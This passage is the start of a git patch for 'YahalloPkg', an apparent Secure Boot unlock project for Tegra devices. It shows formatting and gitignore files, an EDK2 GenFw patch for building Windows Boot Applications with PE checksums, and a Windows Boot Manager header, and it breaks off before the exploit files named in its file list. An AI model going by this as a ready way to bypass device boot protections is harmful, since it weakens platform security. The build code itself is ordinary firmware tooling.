From a58ece1daf49c4dd1f26f1513e42ef16d2c1da95 Mon Sep 17 00:00:00 2001 From: "Ben (Bingxing) Wang" Date: Wed, 21 Oct 2020 00:23:17 -0400 Subject: [PATCH] Initial commit Build: introduce EDK2 BaseTools GenFw BootApp build Introduce GenFw BootApp build capability so it is capable to build Windows Boot Applications without external tool's assistance. Signed-off-by: Bingxing Wang YahalloPkg: first real public release --- .clang-format | 17 + .gitignore | 346 +++++++++++ ...t-generation-of-Windows-Boot-Applica.patch | 271 +++++++++ Edk2Patches/README.txt | 7 + Include/IndustryStandard/WindowsBootManager.h | 572 ++++++++++++++++++ .../WindowsBootApplicationEntryPoint.h | 159 +++++ LICENSE | 348 +++++++++++ .../ApplicationEntryPoint.c | 247 ++++++++ .../Arm/ArmV7Lib.h | 9 + .../Arm/ArmV7Support.S | 34 ++ .../Arm/ArmV7Support.asm | 35 ++ .../WindowsBootApplicationEntryPoint.inf | 45 ++ .../WindowsBootApplicationEntryPoint.uni | 18 + README.md | 42 ++ TegraSecureBootUnlock/App.c | 26 + TegraSecureBootUnlock/Cache.c | 24 + TegraSecureBootUnlock/Console.c | 33 + TegraSecureBootUnlock/DeviceLut.c | 79 +++ TegraSecureBootUnlock/Exploit.c | 447 ++++++++++++++ TegraSecureBootUnlock/Include/Application.h | 57 ++ TegraSecureBootUnlock/MemUtility.c | 186 ++++++ TegraSecureBootUnlock/Smc.c | 87 +++ TegraSecureBootUnlock/Yahallo.inf | 58 ++ YahalloPkg.dec | 21 + YahalloPkg.dsc | 96 +++ 25 files changed, 3264 insertions(+) create mode 100644 .clang-format create mode 100644 .gitignore create mode 100644 Edk2Patches/0001-BaseTools-support-generation-of-Windows-Boot-Applica.patch create mode 100644 Edk2Patches/README.txt create mode 100644 Include/IndustryStandard/WindowsBootManager.h create mode 100644 Include/Library/WindowsBootApplicationEntryPoint.h create mode 100644 LICENSE create mode 100644 Library/WindowsBootApplicationEntryPoint/ApplicationEntryPoint.c create mode 100644 Library/WindowsBootApplicationEntryPoint/Arm/ArmV7Lib.h create mode 100644 Library/WindowsBootApplicationEntryPoint/Arm/ArmV7Support.S create mode 100644 Library/WindowsBootApplicationEntryPoint/Arm/ArmV7Support.asm create mode 100644 Library/WindowsBootApplicationEntryPoint/WindowsBootApplicationEntryPoint.inf create mode 100644 Library/WindowsBootApplicationEntryPoint/WindowsBootApplicationEntryPoint.uni create mode 100644 README.md create mode 100644 TegraSecureBootUnlock/App.c create mode 100644 TegraSecureBootUnlock/Cache.c create mode 100644 TegraSecureBootUnlock/Console.c create mode 100644 TegraSecureBootUnlock/DeviceLut.c create mode 100644 TegraSecureBootUnlock/Exploit.c create mode 100644 TegraSecureBootUnlock/Include/Application.h create mode 100644 TegraSecureBootUnlock/MemUtility.c create mode 100644 TegraSecureBootUnlock/Smc.c create mode 100644 TegraSecureBootUnlock/Yahallo.inf create mode 100644 YahalloPkg.dec create mode 100644 YahalloPkg.dsc diff --git a/.clang-format b/.clang-format new file mode 100644 index 0000000..3be2907 --- /dev/null +++ b/.clang-format @@ -0,0 +1,17 @@ +Language: Cpp +BreakBeforeBraces: Stroustrup +PointerAlignment: Right +IndentWidth: 2 +AccessModifierOffset: 0 +ColumnLimit: 80 +NamespaceIndentation: All +AlignTrailingComments: true +AllowAllParametersOfDeclarationOnNextLine: true +AlwaysBreakTemplateDeclarations: true +AlignAfterOpenBracket: AlwaysBreak +UseTab: Never +IncludeBlocks: Preserve +AlignConsecutiveDeclarations: true +AlignConsecutiveAssignments: true +SpacesInParentheses: false +SpaceBeforeParens: ControlStatements diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..11da241 --- /dev/null +++ b/.gitignore @@ -0,0 +1,346 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. +## +## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore + +# User-specific files +*.rsuser +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Mono auto generated files +mono_crash.* + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +bld/ +[Bb]in/ +[Oo]bj/ +[Ll]og/ +[Ll]ogs/ + +# Visual Studio 2015/2017 cache/options directory +.vs/ +# Uncomment if you have tasks that create the project's static files in wwwroot +#wwwroot/ + +# Visual Studio 2017 auto generated files +Generated\ Files/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +# NUnit +*.VisualState.xml +TestResult.xml +nunit-*.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# Benchmark Results +BenchmarkDotNet.Artifacts/ + +# .NET Core +project.lock.json +project.fragment.lock.json +artifacts/ + +# StyleCop +StyleCopReport.xml + +# Files built by Visual Studio +*_i.c +*_p.c +*_h.h +*.ilk +*.meta +*.obj +*.iobj +*.pch +*.pdb +*.ipdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*_wpftmp.csproj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opendb +*.opensdf +*.sdf +*.cachefile +*.VC.db +*.VC.VC.opendb + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# Visual Studio Trace Files +*.e2e + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# AxoCover is a Code Coverage Tool +.axoCover/* +!.axoCover/settings.json + +# Visual Studio code coverage results +*.coverage +*.coveragexml + +# NCrunch +_NCrunch_* +.*crunch*.local.xml +nCrunchTemp_* + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# Note: Comment the next line if you want to checkin your web deploy settings, +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# Microsoft Azure Web App publish settings. Comment the next line if you want to +# checkin your Azure Web App publish settings, but sensitive information contained +# in these scripts will be unencrypted +PublishScripts/ + +# NuGet Packages +*.nupkg +# NuGet Symbol Packages +*.snupkg +# The packages folder can be ignored because of Package Restore +**/[Pp]ackages/* +# except build/, which is used as an MSBuild target. +!**/[Pp]ackages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/[Pp]ackages/repositories.config +# NuGet v3's project.json files produces more ignorable files +*.nuget.props +*.nuget.targets + +# Microsoft Azure Build Output +csx/ +*.build.csdef + +# Microsoft Azure Emulator +ecf/ +rcf/ + +# Windows Store app package directories and files +AppPackages/ +BundleArtifacts/ +Package.StoreAssociation.xml +_pkginfo.txt +*.appx +*.appxbundle +*.appxupload + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!?*.[Cc]ache/ + +# Others +ClientBin/ +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.jfm +*.pfx +*.publishsettings +orleans.codegen.cs + +# Including strong name files can present a security risk +# (https://github.com/github/gitignore/pull/2483#issue-259490424) +#*.snk + +# Since there are multiple workflows, uncomment next line to ignore bower_components +# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) +#bower_components/ + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm +ServiceFabricBackup/ +*.rptproj.bak + +# SQL Server files +*.mdf +*.ldf +*.ndf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings +*.rptproj.rsuser +*- [Bb]ackup.rdl +*- [Bb]ackup ([0-9]).rdl +*- [Bb]ackup ([0-9][0-9]).rdl + +# Microsoft Fakes +FakesAssemblies/ + +# GhostDoc plugin setting file +*.GhostDoc.xml + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat +node_modules/ + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Visual Studio 6 auto-generated workspace file (contains which files were open etc.) +*.vbw + +# Visual Studio LightSwitch build output +**/*.HTMLClient/GeneratedArtifacts +**/*.DesktopClient/GeneratedArtifacts +**/*.DesktopClient/ModelManifest.xml +**/*.Server/GeneratedArtifacts +**/*.Server/ModelManifest.xml +_Pvt_Extensions + +# Paket dependency manager +.paket/paket.exe +paket-files/ + +# FAKE - F# Make +.fake/ + +# CodeRush personal settings +.cr/personal + +# Python Tools for Visual Studio (PTVS) +__pycache__/ +*.pyc + +# Cake - Uncomment if you are using it +# tools/** +# !tools/packages.config + +# Tabs Studio +*.tss + +# Telerik's JustMock configuration file +*.jmconfig + +# BizTalk build output +*.btp.cs +*.btm.cs +*.odx.cs +*.xsd.cs + +# OpenCover UI analysis results +OpenCover/ + +# Azure Stream Analytics local run output +ASALocalRun/ + +# MSBuild Binary and Structured Log +*.binlog + +# NVidia Nsight GPU debugger configuration file +*.nvuser + +# MFractors (Xamarin productivity tool) working folder +.mfractor/ + +# Local History for Visual Studio +.localhistory/ + +# BeatPulse healthcheck temp database +healthchecksdb + +# Backup folder for Package Reference Convert tool in Visual Studio 2017 +MigrationBackup/ + +# Ionide (cross platform F# VS Code tools) working folder +.ionide/ diff --git a/Edk2Patches/0001-BaseTools-support-generation-of-Windows-Boot-Applica.patch b/Edk2Patches/0001-BaseTools-support-generation-of-Windows-Boot-Applica.patch new file mode 100644 index 0000000..4f22158 --- /dev/null +++ b/Edk2Patches/0001-BaseTools-support-generation-of-Windows-Boot-Applica.patch @@ -0,0 +1,271 @@ +From 9ba52e2620d0c674ed791b9e9bdf0dbf15900d92 Mon Sep 17 00:00:00 2001 +From: Bingxing Wang +Date: Sun, 25 Oct 2020 01:00:24 -0400 +Subject: [PATCH] BaseTools: support generation of Windows Boot Application + +Introduce the support for generating Windows Boot Application PE +files with an override switch. In addition, Windows Boot Apps re +quire PE checksum to be valid. GenFw doesn't populate the PE che +cksum field, so this is also added. + +The checksum generation algorithm is taken from Windows NT 3.51 +public SDK's source. + +Signed-off-by: Bingxing Wang +--- + BaseTools/Source/C/Common/BasePeCoff.c | 6 +- + BaseTools/Source/C/GenFw/GenFw.c | 114 ++++++++++++++++++ + .../C/Include/IndustryStandard/PeImage.h | 5 + + 3 files changed, 123 insertions(+), 2 deletions(-) + +diff --git a/BaseTools/Source/C/Common/BasePeCoff.c b/BaseTools/Source/C/Common/BasePeCoff.c +index 62fbb2985c..6b536772f1 100644 +--- a/BaseTools/Source/C/Common/BasePeCoff.c ++++ b/BaseTools/Source/C/Common/BasePeCoff.c +@@ -185,7 +185,8 @@ Returns: + ImageContext->Machine != EFI_IMAGE_MACHINE_EBC && \ + ImageContext->Machine != EFI_IMAGE_MACHINE_AARCH64 && \ + ImageContext->Machine != EFI_IMAGE_MACHINE_RISCV64) { +- if (ImageContext->Machine == IMAGE_FILE_MACHINE_ARM) { ++ if (ImageContext->Machine == IMAGE_FILE_MACHINE_ARM || ++ ImageContext->Machine == IMAGE_FILE_MACHINE_ARMNT) { + // + // There are two types of ARM images. Pure ARM and ARM/Thumb. + // If we see the ARM say it is the ARM/Thumb so there is only +@@ -219,7 +220,8 @@ Returns: + if (ImageContext->ImageType != EFI_IMAGE_SUBSYSTEM_EFI_APPLICATION && \ + ImageContext->ImageType != EFI_IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER && \ + ImageContext->ImageType != EFI_IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER && \ +- ImageContext->ImageType != EFI_IMAGE_SUBSYSTEM_SAL_RUNTIME_DRIVER) { ++ ImageContext->ImageType != EFI_IMAGE_SUBSYSTEM_SAL_RUNTIME_DRIVER && ++ ImageContext->ImageType != EFI_IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION) { + // + // unsupported PeImage subsystem type + // +diff --git a/BaseTools/Source/C/GenFw/GenFw.c b/BaseTools/Source/C/GenFw/GenFw.c +index 8cab70ba4d..28b4c48f8c 100644 +--- a/BaseTools/Source/C/GenFw/GenFw.c ++++ b/BaseTools/Source/C/GenFw/GenFw.c +@@ -87,6 +87,7 @@ UINT32 mImageTimeStamp = 0; + UINT32 mImageSize = 0; + UINT32 mOutImageType = FW_DUMMY_IMAGE; + BOOLEAN mIsConvertXip = FALSE; ++BOOLEAN mIsConvertArmToArmThumb2 = FALSE; + + + STATIC +@@ -251,6 +252,11 @@ Returns: + fprintf (stdout, " -r, --replace Overwrite the input file with the output content.\n\ + If more input files are specified,\n\ + the last input file will be as the output file.\n"); ++ fprintf (stdout, " --convert-output-machine-arm-to-thumb2\n\ ++ If the output machine type is IMAGE_FILE_MACHINE_ARM\n\ ++ or ARMT, convert to IMAGE_FILE_MACHINE_ARMNT (Thumb2)\n"); ++ fprintf (stdout, " --windows-boot-application\n\ ++ Force subsystem type to WINDOWS_BOOT_APPLICATION\n"); + fprintf (stdout, " -g HiiPackageListGuid, --hiiguid HiiPackageListGuid\n\ + Guid is used to specify hii package list guid.\n\ + Its format is xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\n\ +@@ -1032,6 +1038,46 @@ Returns: + return Status; + } + ++UINT16 ChkSum( ++ UINT32 PartialSum, ++ UINT16* Source, ++ UINT32 Length ++ ) ++/*++ ++ ++Routine description: ++ ++ ChkSum() - Compute a partial checksum on a portion of an imagefile. ++ Taken from Windows NT 3.51 SDK distribution. ++ ++ FROM "imagehlp/imagedir.c": Steve Wood 18-Aug-1989 ++ ++Arguments: ++ ++ PartialSum Supplies the initial checksum value. ++ Sources Supplies a pointer to the array of words for which the ++ checksum is computed. ++ Length Supplies the length of the array in words. ++ ++Returns: ++ The computed checksum value is returned as the function value. ++ ++--*/ ++{ ++ // Compute the word wise checksum allowing carries to occur into the ++ // high order half of the checksum longword. ++ while (Length--) { ++ PartialSum += *Source++; ++ PartialSum = (PartialSum >> 16) + (PartialSum & 0xffff); ++ } ++ ++ // ++ // Fold final carry into a single word result and return the resultant ++ // value. ++ // ++ return (UINT16)(((PartialSum >> 16) + PartialSum) & 0xffff); ++} ++ + int + main ( + int argc, +@@ -1116,6 +1162,9 @@ Returns: + time_t OutputFileTime; + struct stat Stat_Buf; + BOOLEAN ZeroDebugFlag; ++ UINTN DesiredSubsystemOverride; ++ UINT16 PartialSum; ++ UINT16 *AdjustSum; + + SetUtilityName (UTILITY_NAME); + +@@ -1165,6 +1214,10 @@ Returns: + OutputFileTime = 0; + ZeroDebugFlag = FALSE; + ++ DesiredSubsystemOverride = -1; ++ PartialSum = 0; ++ AdjustSum = NULL; ++ + if (argc == 1) { + Error (NULL, 0, 1001, "Missing options", "No input options."); + Usage (); +@@ -1304,6 +1357,20 @@ Returns: + continue; + } + ++ if (stricmp (argv[0], "--convert-output-machine-arm-to-thumb2") == 0) { ++ mIsConvertArmToArmThumb2 = TRUE; ++ argc --; ++ argv ++; ++ continue; ++ } ++ ++ if (stricmp (argv[0], "--windows-boot-application") == 0) { ++ DesiredSubsystemOverride = EFI_IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION; ++ argc --; ++ argv ++; ++ continue; ++ } ++ + if ((stricmp (argv[0], "-m") == 0) || (stricmp (argv[0], "--mcifile") == 0)) { + mOutImageType = FW_MCI_IMAGE; + argc --; +@@ -2045,6 +2112,11 @@ Returns: + Type = EFI_IMAGE_SUBSYSTEM_SAL_RUNTIME_DRIVER; + VerboseMsg ("Efi Image subsystem type is efi sal runtime driver."); + ++ } else if (stricmp (ModuleType, "WINDOWS_BOOT_APPLICATION") == 0 || ++ stricmp (ModuleType, "BOOT_APPLICATION") == 0) { ++ Type = EFI_IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION; ++ VerboseMsg ("Efi Image subsystem type is windows boot application."); ++ + } else { + Error (NULL, 0, 1003, "Invalid option value", "EFI_FILETYPE = %s", ModuleType); + goto Finish; +@@ -2052,6 +2124,11 @@ Returns: + } + } + ++ if (DesiredSubsystemOverride != -1) { ++ VerboseMsg ("Forcibly converting Efi Image subsystem type to windows boot application."); ++ Type = EFI_IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION; ++ } ++ + // + // Convert ELF image to PeImage + // +@@ -2187,6 +2264,13 @@ Returns: + PeHdr->Pe32.FileHeader.Machine = IMAGE_FILE_MACHINE_ARMT; + } + ++ if (mIsConvertArmToArmThumb2 && ++ (PeHdr->Pe32.FileHeader.Machine == IMAGE_FILE_MACHINE_ARM || ++ PeHdr->Pe32.FileHeader.Machine == IMAGE_FILE_MACHINE_ARMT)) { ++ VerboseMsg ("Converting output subsystem to IMAGE_FILE_MACHINE_ARMNT"); ++ PeHdr->Pe32.FileHeader.Machine = IMAGE_FILE_MACHINE_ARMNT; ++ } ++ + // + // Set new base address into image + // +@@ -2657,6 +2741,36 @@ Returns: + } + } + ++ // ++ // Normally PE/COFF checksum is not required, but in certain scenarios ++ // This is useful (for instance, Windows Boot Manager checks it) ++ // ++ // The following code is taken from Windows NT 3.51 SDK distribution. ++ // ++ if (mOutImageType == FW_EFI_IMAGE && PeHdr->Pe32.OptionalHeader.Magic == EFI_IMAGE_NT_OPTIONAL_HDR32_MAGIC) { ++ Optional32 = (EFI_IMAGE_OPTIONAL_HEADER32 *)&PeHdr->Pe32.OptionalHeader; ++ PartialSum = ChkSum(0, (UINT16*) FileBuffer, (FileLength + 1) >> 1); ++ ++ AdjustSum = (UINT16*) &Optional32->CheckSum; ++ PartialSum -= (PartialSum < AdjustSum[0]); ++ PartialSum -= AdjustSum[0]; ++ PartialSum -= (PartialSum < AdjustSum[1]); ++ PartialSum -= AdjustSum[1]; ++ ++ Optional32->CheckSum = (UINT32) PartialSum + FileLength; ++ } else if (mOutImageType == FW_EFI_IMAGE && PeHdr->Pe32.OptionalHeader.Magic == EFI_IMAGE_NT_OPTIONAL_HDR64_MAGIC) { ++ Optional64 = (EFI_IMAGE_OPTIONAL_HEADER64 *)&PeHdr->Pe32.OptionalHeader; ++ PartialSum = ChkSum(0, (UINT16*) FileBuffer, (FileLength + 1) >> 1); ++ ++ AdjustSum = (UINT16*) &Optional64->CheckSum; ++ PartialSum -= (PartialSum < AdjustSum[0]); ++ PartialSum -= AdjustSum[0]; ++ PartialSum -= (PartialSum < AdjustSum[1]); ++ PartialSum -= AdjustSum[1]; ++ ++ Optional64->CheckSum = (UINT32) PartialSum + FileLength; ++ } ++ + WriteFile: + // + // Update Image to EfiImage or TE image +diff --git a/BaseTools/Source/C/Include/IndustryStandard/PeImage.h b/BaseTools/Source/C/Include/IndustryStandard/PeImage.h +index f17b8ee19b..0b025a549a 100644 +--- a/BaseTools/Source/C/Include/IndustryStandard/PeImage.h ++++ b/BaseTools/Source/C/Include/IndustryStandard/PeImage.h +@@ -23,6 +23,8 @@ + #define EFI_IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER 12 + #define EFI_IMAGE_SUBSYSTEM_SAL_RUNTIME_DRIVER 13 + ++#define EFI_IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION 16 ++ + // + // BugBug: Need to get a real answer for this problem. This is not in the + // PE specification. +@@ -33,12 +35,14 @@ + // + #define EFI_IMAGE_SUBSYSTEM_SAL_RUNTIME_DRIVER 13 + ++ + // + // PE32+ Machine type for EFI images + // + #define IMAGE_FILE_MACHINE_I386 0x014c + #define IMAGE_FILE_MACHINE_EBC 0x0EBC + #define IMAGE_FILE_MACHINE_X64 0x8664 ++#define IMAGE_FILE_MACHINE_ARMNT 0x01c4 // 32-bit ARMv7-based Thumb2 + #define IMAGE_FILE_MACHINE_ARM 0x01c0 // Thumb only + #define IMAGE_FILE_MACHINE_ARMT 0x01c2 // 32bit Mixed ARM and Thumb/Thumb 2 Little Endian + #define IMAGE_FILE_MACHINE_ARM64 0xAA64 // 64bit ARM Architecture, Little Endian +@@ -50,6 +54,7 @@ + #define EFI_IMAGE_MACHINE_IA32 IMAGE_FILE_MACHINE_I386 + #define EFI_IMAGE_MACHINE_EBC IMAGE_FILE_MACHINE_EBC + #define EFI_IMAGE_MACHINE_X64 IMAGE_FILE_MACHINE_X64 ++#define EFI_IMAGE_MACHINE_ARMNT IMAGE_FILE_MACHINE_ARMNT + #define EFI_IMAGE_MACHINE_ARMT IMAGE_FILE_MACHINE_ARMT + #define EFI_IMAGE_MACHINE_AARCH64 IMAGE_FILE_MACHINE_ARM64 + #define EFI_IMAGE_MACHINE_RISCV64 IMAGE_FILE_MACHINE_RISCV64 +-- +2.17.1 + diff --git a/Edk2Patches/README.txt b/Edk2Patches/README.txt new file mode 100644 index 0000000..37956ec --- /dev/null +++ b/Edk2Patches/README.txt @@ -0,0 +1,7 @@ +The patch provided in this folder is a workaround for EDK2 build system in order +to generate valid Windows Boot Application. + +To apply this: + + git apply YahalloPkg/Edk2Patches/0001-BaseTools-support-generation-of-Windows-Boot-Applica.patch + make -C BaseTools diff --git a/Include/IndustryStandard/WindowsBootManager.h b/Include/IndustryStandard/WindowsBootManager.h new file mode 100644 index 0000000..6e0f719 --- /dev/null +++ b/Include/IndustryStandard/WindowsBootManager.h @@ -0,0 +1,572 @@ +// WindowsBootManager.h: Windows Boot Manager Types +// This file comes from the ReactOS project. + +#include + +#include + +typedef long NTSTATUS; +typedef unsigned long ULONG; +typedef unsigned long DWORD, *PDWORD, *LPDWORD; +typedef short wchar_t; +typedef wchar_t WCHAR; + +#define STATUS_INVALID_PARAMETER ((NTSTATUS)0xC000000D) +#define STATUS_SUCCESS ((NTSTATUS)0x00000000) + +#define BL_APPLICATION_FLAG_CONVERTED_FROM_EFI 0x01 + +#define BL_APP_ENTRY_SIGNATURE "BTAPENT" + +#define BOOT_APPLICATION_SIGNATURE_1 'TOOB' +#define BOOT_APPLICATION_SIGNATURE_2 ' PPA' + +#define BOOT_MEMORY_TRANSLATION_TYPE_PHYSICAL 0 +#define BOOT_MEMORY_TRANSLATION_TYPE_VIRTUAL 1 + +#define BOOT_APPLICATION_VERSION 2 +#define BL_MEMORY_DATA_VERSION 1 +#define BL_RETURN_ARGUMENTS_VERSION 1 +#define BL_FIRMWARE_DESCRIPTOR_VERSION 2 + +#define BL_RETURN_ARGUMENTS_NO_PAE_FLAG 0x40 + +#define BL_APPLICATION_ENTRY_FLAG_NO_GUID 0x01 +#define BL_APPLICATION_ENTRY_BCD_OPTIONS_INTERNAL 0x02 +#define BL_APPLICATION_ENTRY_WINLOAD 0x04 +#define BL_APPLICATION_ENTRY_STARTUP 0x08 +#define BL_APPLICATION_ENTRY_REBOOT_ON_ERROR 0x20 +#define BL_APPLICATION_ENTRY_NTLDR 0x40 +#define BL_APPLICATION_ENTRY_BCD_OPTIONS_EXTERNAL 0x80 +#define BL_APPLICATION_ENTRY_WINRESUME 0x100 +#define BL_APPLICATION_ENTRY_SETUPLDR 0x200 +#define BL_APPLICATION_ENTRY_BOOTSECTOR 0x400 +#define BL_APPLICATION_ENTRY_BOOTMGR 0x1000 +#define BL_APPLICATION_ENTRY_DISPLAY_ORDER 0x800000 +#define BL_APPLICATION_ENTRY_FIXED_SEQUENCE 0x20000000 +#define BL_APPLICATION_ENTRY_RECOVERY 0x40000000 + +#define BL_CONTEXT_PAGING_ON 1 +#define BL_CONTEXT_INTERRUPTS_ON 2 + +#define BL_MM_FLAG_USE_FIRMWARE_FOR_MEMORY_MAP_BUFFERS 0x01 +#define BL_MM_FLAG_REQUEST_COALESCING 0x02 + +#define BL_MM_ADD_DESCRIPTOR_COALESCE_FLAG 0x01 +#define BL_MM_ADD_DESCRIPTOR_TRUNCATE_FLAG 0x02 +#define BL_MM_ADD_DESCRIPTOR_NEVER_COALESCE_FLAG 0x10 +#define BL_MM_ADD_DESCRIPTOR_NEVER_TRUNCATE_FLAG 0x20 +#define BL_MM_ADD_DESCRIPTOR_ALLOCATE_FLAG 0x1000 +#define BL_MM_ADD_DESCRIPTOR_UPDATE_LIST_POINTER_FLAG 0x2000 + +#define BL_MM_INCLUDE_MAPPED_ALLOCATED 0x01 +#define BL_MM_INCLUDE_MAPPED_UNALLOCATED 0x02 +#define BL_MM_INCLUDE_UNMAPPED_ALLOCATED 0x04 +#define BL_MM_INCLUDE_UNMAPPED_UNALLOCATED 0x08 +#define BL_MM_INCLUDE_RESERVED_ALLOCATED 0x10 +#define BL_MM_INCLUDE_BAD_MEMORY 0x20 +#define BL_MM_INCLUDE_FIRMWARE_MEMORY 0x40 +#define BL_MM_INCLUDE_TRUNCATED_MEMORY 0x80 +#define BL_MM_INCLUDE_PERSISTENT_MEMORY 0x100 +#define BL_MM_INCLUDE_FIRMWARE_MEMORY_2 0x200 + +#define BL_MM_INCLUDE_NO_FIRMWARE_MEMORY \ + (BL_MM_INCLUDE_PERSISTENT_MEMORY | BL_MM_INCLUDE_TRUNCATED_MEMORY | \ + BL_MM_INCLUDE_BAD_MEMORY | BL_MM_INCLUDE_RESERVED_ALLOCATED | \ + BL_MM_INCLUDE_UNMAPPED_UNALLOCATED | BL_MM_INCLUDE_UNMAPPED_ALLOCATED | \ + BL_MM_INCLUDE_MAPPED_UNALLOCATED | BL_MM_INCLUDE_MAPPED_ALLOCATED) + +#define BL_MM_INCLUDE_ONLY_FIRMWARE_MEMORY \ + (BL_MM_INCLUDE_FIRMWARE_MEMORY_2 | BL_MM_INCLUDE_FIRMWARE_MEMORY) + +#define BL_MM_REQUEST_DEFAULT_TYPE 1 +#define BL_MM_REQUEST_TOP_DOWN_TYPE 2 + +#define BL_MM_REMOVE_PHYSICAL_REGION_FLAG 0x40000000 +#define BL_MM_REMOVE_VIRTUAL_REGION_FLAG 0x80000000 + +#define BL_LIBRARY_FLAG_NO_DISPLAY 0x01 +#define BL_LIBRARY_FLAG_REINITIALIZE 0x02 +#define BL_LIBRARY_FLAG_REINITIALIZE_ALL 0x04 +#define BL_LIBRARY_FLAG_ZERO_HEAP_ALLOCATIONS_ON_FREE 0x10 +#define BL_LIBRARY_FLAG_INITIALIZATION_COMPLETED 0x20 +#define BL_LIBRARY_FLAG_NO_GRAPHICS_CONSOLE 0x800 + +#define BL_DISPLAY_GRAPHICS_FORCED_VIDEO_MODE_FLAG 0x01 +#define BL_DISPLAY_GRAPHICS_FORCED_HIGH_RES_MODE_FLAG 0x02 + +#define BL_HT_VALUE_IS_INLINE 0x01 + +#define BL_FS_REGISTER_AT_HEAD_FLAG 1 + +#define BL_BLOCK_DEVICE_REMOVABLE_FLAG 0x01 +#define BL_BLOCK_DEVICE_PRESENT_FLAG 0x02 +#define BL_BLOCK_DEVICE_VIRTUAL_FLAG 0x04 + +#define BL_MEMORY_CLASS_SHIFT 28 + +#define BL_FILE_READ_ACCESS 0x01 +#define BL_FILE_WRITE_ACCESS 0x02 +#define BL_DIRECTORY_ACCESS 0x04 +#define BL_UNKNOWN_ACCESS 0x10 + +#define BL_DEVICE_READ_ACCESS 0x01 +#define BL_DEVICE_WRITE_ACCESS 0x02 + +#define BL_DEVICE_ENTRY_OPENED 0x01 +#define BL_DEVICE_ENTRY_READ_ACCESS 0x02 +#define BL_DEVICE_ENTRY_WRITE_ACCESS 0x04 + +#define BL_FILE_ENTRY_OPENED 0x01 +#define BL_FILE_ENTRY_READ_ACCESS 0x02 +#define BL_FILE_ENTRY_WRITE_ACCESS 0x04 +#define BL_FILE_ENTRY_UNKNOWN_ACCESS 0x10 +#define BL_FILE_ENTRY_DIRECTORY 0x10000 + +#define BL_ETFS_FILE_ENTRY_DIRECTORY 0x01 + +#define BL_IMG_VALID_FILE 0x01 +#define BL_IMG_MEMORY_FILE 0x02 +#define BL_IMG_REMOTE_FILE 0x04 + +#define BL_LOAD_IMG_VIRTUAL_BUFFER 0x01 +#define BL_LOAD_IMG_EXISTING_BUFFER 0x04 +#define BL_LOAD_IMG_UNKNOWN_BUFFER_FLAG 0x08 +#define BL_LOAD_IMG_COMPUTE_SIGNATURE 0x10 +#define BL_LOAD_IMG_COMPUTE_HASH 0x40000 + +#define BL_LOAD_PE_IMG_VIRTUAL_BUFFER BL_LOAD_IMG_VIRTUAL_BUFFER +#define BL_LOAD_PE_IMG_CHECK_MACHINE 0x02 +#define BL_LOAD_PE_IMG_EXISTING_BUFFER BL_LOAD_IMG_EXISTING_BUFFER +#define BL_LOAD_PE_IMG_COMPUTE_HASH 0x10 +#define BL_LOAD_PE_IMG_CHECK_SUBSYSTEM 0x80 +#define BL_LOAD_PE_IMG_SKIP_RELOCATIONS 0x100 +#define BL_LOAD_PE_IMG_CHECK_FORCED_INTEGRITY 0x200 +#define BL_LOAD_PE_IMG_IGNORE_CHECKSUM_MISMATCH 0x10000 +#define BL_LOAD_PE_IMG_VALIDATE_ORIGINAL_FILENAME 0x400000 + +#define BL_UTL_CHECKSUM_COMPLEMENT 0x10000 +#define BL_UTL_CHECKSUM_ROTATE 0x20000 +#define BL_UTL_CHECKSUM_NEGATE 0x40000 +#define BL_UTL_CHECKSUM_UCHAR_BUFFER 0x01 +#define BL_UTL_CHECKSUM_USHORT_BUFFER 0x02 + +/* ENUMERATIONS **************************************************************/ + +typedef enum _BL_COLOR { + Black, + Blue, + 